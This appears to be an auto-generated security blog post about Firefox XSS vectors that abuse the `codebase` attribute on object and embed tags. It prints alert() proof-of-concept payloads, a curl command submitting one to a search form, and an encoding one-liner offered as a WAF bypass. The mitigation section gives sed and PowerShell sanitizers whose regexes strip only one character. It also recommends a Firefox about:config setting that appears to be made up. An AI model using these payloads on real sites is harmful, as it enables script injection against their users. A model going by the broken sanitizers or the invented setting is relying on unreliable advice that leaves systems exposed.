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Source: PortSwigger XSS Cheat Sheet
You Should Know:
Firefox XSS Exploit Vectors
These vectors leverage the `codebase` attribute in `
<object data= codebase=javascript:alert(document.domain)//> <embed src= codebase=javascript:alert(document.domain)//> <object data=" alert(1)" codebase=javascript://> <embed src="! alert(1)" codebase=javascript:>
Testing & Mitigation Steps
1. Testing Vulnerabilities
Use these payloads in Firefox to test for XSS flaws:
curl -X POST "https://vulnerable-site.com/search" -d 'q=<object data= codebase=javascript:alert(1)//>'
2. Browser-Specific Exploits
Check if Firefox allows `codebase` execution:
if (navigator.userAgent.includes("Firefox")) {
console.log("Firefox XSS possible");
}
3. Sanitization with Linux Tools
Use `sed` to filter malicious inputs:
echo '<embed src="! alert(1)" codebase=javascript:>' | sed 's/codebase=javascript:[^>]//g'
4. WAF Bypass Techniques
Encode payloads to evade detection:
echo -n 'javascript:alert(1)' | xxd -ps | sed 's/../%&/g'
5. Firefox Hardening
Disable dangerous attributes via `about:config`:
firefox about:config → set "security.xssfilter.enable" = true
Defensive Commands (Linux/Windows)
- Linux (ModSecurity Rule):
sudo nano /etc/modsecurity/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf
Add:
SecRule ARGS "@contains codebase=javascript:" "id:941180,deny,status:403"
- Windows (PowerShell Sanitization):
$Input -replace 'codebase=javascript:[^>]', '' | Out-File sanitized.html
What Undercode Say
Firefox’s handling of `codebase` in <object>/<embed> tags introduces critical XSS risks. Always:
– Sanitize inputs using regex or WAFs.
– Test browser-specific exploits.
– Disable risky features in enterprise environments.
Prediction
Future Firefox updates may restrict `codebase` attributes, but legacy systems will remain vulnerable. Expect more DOM-based XSS variants in 2025.
Expected Output:
<object data= codebase=javascript:alert(document.domain)//> <embed src= codebase=javascript:alert(document.domain)//>
IT/Security Reporter URL:
Reported By: Gareth Heyes – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
